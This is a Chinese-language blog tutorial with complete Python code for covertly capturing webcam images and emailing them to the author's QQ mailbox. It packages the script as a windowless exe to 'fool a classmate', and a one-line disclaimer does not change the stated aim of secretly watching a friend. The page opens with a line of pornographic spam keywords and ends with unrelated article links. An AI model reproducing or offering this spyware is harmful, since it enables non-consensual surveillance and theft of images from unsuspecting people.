欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

用python打開攝像頭并把圖像傳回qq郵箱(Pyinstaller打包)

 更新時(shí)間:2020年05月17日 09:30:07   作者:Keter_  
這篇文章主要介紹了用python打開攝像頭并把圖像傳回qq郵箱,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧

前言:

如何悄悄的打開朋友的攝像頭,看看她最近過的怎么樣,嘿嘿!這次讓我?guī)銈儊韺?shí)現(xiàn)這個(gè)功能。

注: 這個(gè)程序僅限在朋友之間開玩笑,別去搞什么違法的事情哦。

代碼

發(fā)送郵件

使用python內(nèi)置的email模塊即可完成。導(dǎo)入相應(yīng)的代碼封裝為一個(gè)send函數(shù),順便導(dǎo)入需要導(dǎo)入的包
注: 下面的代碼有三處要修改的地方,兩處寫的qq郵箱地址,還有一處寫的qq郵箱授權(quán)碼,不知道qq郵箱授權(quán)碼的可以去百度一下

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os

def send(img):
  sender = '寫你的qq郵箱地址'
  receivers = '寫你的qq郵箱地址'
  message = MIMEMultipart('related')
  subject = '終于能發(fā)圖片了'
  message['Subject'] = subject
  message['From'] = sender
  message['To'] = receivers
  content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
  message.attach(content)
  file = open(img, "rb")
  img_data = file.read()
  file.close()
  img = MIMEImage(img_data)
  img.add_header('Content-ID', 'imageid')
  message.attach(img)

  try:
    server = smtplib.SMTP_SSL("smtp.qq.com", 465)
    server.login(sender, '寫授權(quán)碼')
    server.sendmail(sender, receivers, message.as_string())
    server.quit()
  except smtplib.SMTPException as e:
    print(e)

打開攝像頭并發(fā)送圖片

我們使用opencv打開筆記本內(nèi)置的攝像頭,不多說上代碼

cap = cv2.VideoCapture(0)
for item in range(10):
  cat, frame = cap.read()
  cv2.imwrite('1.png', frame)
  send('1.png')
  os.remove('1.png')


使用pyinstaller將程序打包

好不容易寫好了代碼,結(jié)果同學(xué)那里沒有運(yùn)行環(huán)境豈不是很沮喪。那我們就嘿嘿嘿。 把它直接搞成一個(gè)exe文件,照片還不是手到擒來。

我們使用pyinstaller來打包,沒有下載的可以先pip安裝

pip install pyinstaller -i https://pypi.douban.com/simple --user

之后我們打開cmd,cd到你的代碼所在的文件,輸入一下指令。

Pyinstaller -F -w setup.py

注: setup.py 是你的文件名。

然后等一會(huì),等運(yùn)行完了之后你就會(huì)發(fā)現(xiàn)在你的代碼所在的文件夾里多了一個(gè)dist的文件夾,exe文件就在那里。

下面就是最關(guān)鍵的一步了!

忽悠同學(xué)

找個(gè)同學(xué)忽悠她一下

到此這篇關(guān)于用python打開攝像頭并把圖像傳回qq郵箱(Pyinstaller打包)的文章就介紹到這了,更多相關(guān)Python打開攝像頭并保存內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家! 

相關(guān)文章

  • Python中zip()函數(shù)的簡(jiǎn)單用法舉例

    Python中zip()函數(shù)的簡(jiǎn)單用法舉例

    這篇文章主要給大家介紹了關(guān)于Python中zip()函數(shù)的簡(jiǎn)單用法,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家學(xué)習(xí)或者使用Python具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-09-09
  • python腳本編輯oss文件的實(shí)現(xiàn)示例

    python腳本編輯oss文件的實(shí)現(xiàn)示例

    本文主要介紹了python腳本編輯oss文件,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2024-05-05
  • Python圖像處理模塊ndimage用法實(shí)例分析

    Python圖像處理模塊ndimage用法實(shí)例分析

    這篇文章主要介紹了Python圖像處理模塊ndimage用法,結(jié)合實(shí)例形式分析了Python圖像處理模塊ndimage基本功能及常見的圖形運(yùn)算操作實(shí)現(xiàn)技巧,需要的朋友可以參考下
    2019-09-09
  • python實(shí)現(xiàn)層次聚類的方法

    python實(shí)現(xiàn)層次聚類的方法

    層次聚類就是一層一層的進(jìn)行聚類,可以由上向下把大的類別(cluster)分割,叫作分裂法,這篇文章主要介紹了python實(shí)現(xiàn)層次聚類的方法,需要的朋友可以參考下
    2021-11-11
  • 詳解Python繪圖Turtle庫(kù)

    詳解Python繪圖Turtle庫(kù)

    Turtle庫(kù)是Python語言中一個(gè)很流行的繪制圖像的函數(shù)庫(kù),這篇文章主要介紹了Python繪圖Turtle庫(kù)的相關(guān)知識(shí),需要的朋友可以參考下
    2019-10-10
  • Python連接Mssql基礎(chǔ)教程之Python庫(kù)pymssql

    Python連接Mssql基礎(chǔ)教程之Python庫(kù)pymssql

    這篇文章主要給大家介紹了關(guān)于Python連接Mssql基礎(chǔ)教程之Python庫(kù)pymssql的相關(guān)資料,文中分別介紹了連接數(shù)據(jù)庫(kù)、游標(biāo)使用注意事項(xiàng)、游標(biāo)返回行為字典變量、使用with語句(上下文管理器)以及調(diào)用存儲(chǔ)過程等的實(shí)現(xiàn),需要的朋友可以參考下
    2018-09-09
  • Python chardet庫(kù)識(shí)別編碼原理解析

    Python chardet庫(kù)識(shí)別編碼原理解析

    這篇文章主要介紹了python chardet庫(kù)識(shí)別編碼原理解析,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-02-02
  • Pytorch 如何加速Dataloader提升數(shù)據(jù)讀取速度

    Pytorch 如何加速Dataloader提升數(shù)據(jù)讀取速度

    這篇文章主要介紹了Pytorch 加速Dataloader提升數(shù)據(jù)讀取速度的操作,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2021-05-05
  • python 如何將浮點(diǎn)數(shù)尾部無效0去掉和無效的‘.’號(hào)

    python 如何將浮點(diǎn)數(shù)尾部無效0去掉和無效的‘.’號(hào)

    這篇文章主要介紹了python 如何將浮點(diǎn)數(shù)尾部無效0去掉和無效的‘.’號(hào),具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧
    2021-03-03
  • python數(shù)據(jù)可視化使用pyfinance分析證券收益示例詳解

    python數(shù)據(jù)可視化使用pyfinance分析證券收益示例詳解

    這篇文章主要為大家介紹了python數(shù)據(jù)可視化使用pyfinance分析證券收益的示例詳解及pyfinance中returns模塊的應(yīng)用,有需要的朋友可以借鑒參考下,希望能夠有所幫助
    2021-11-11

最新評(píng)論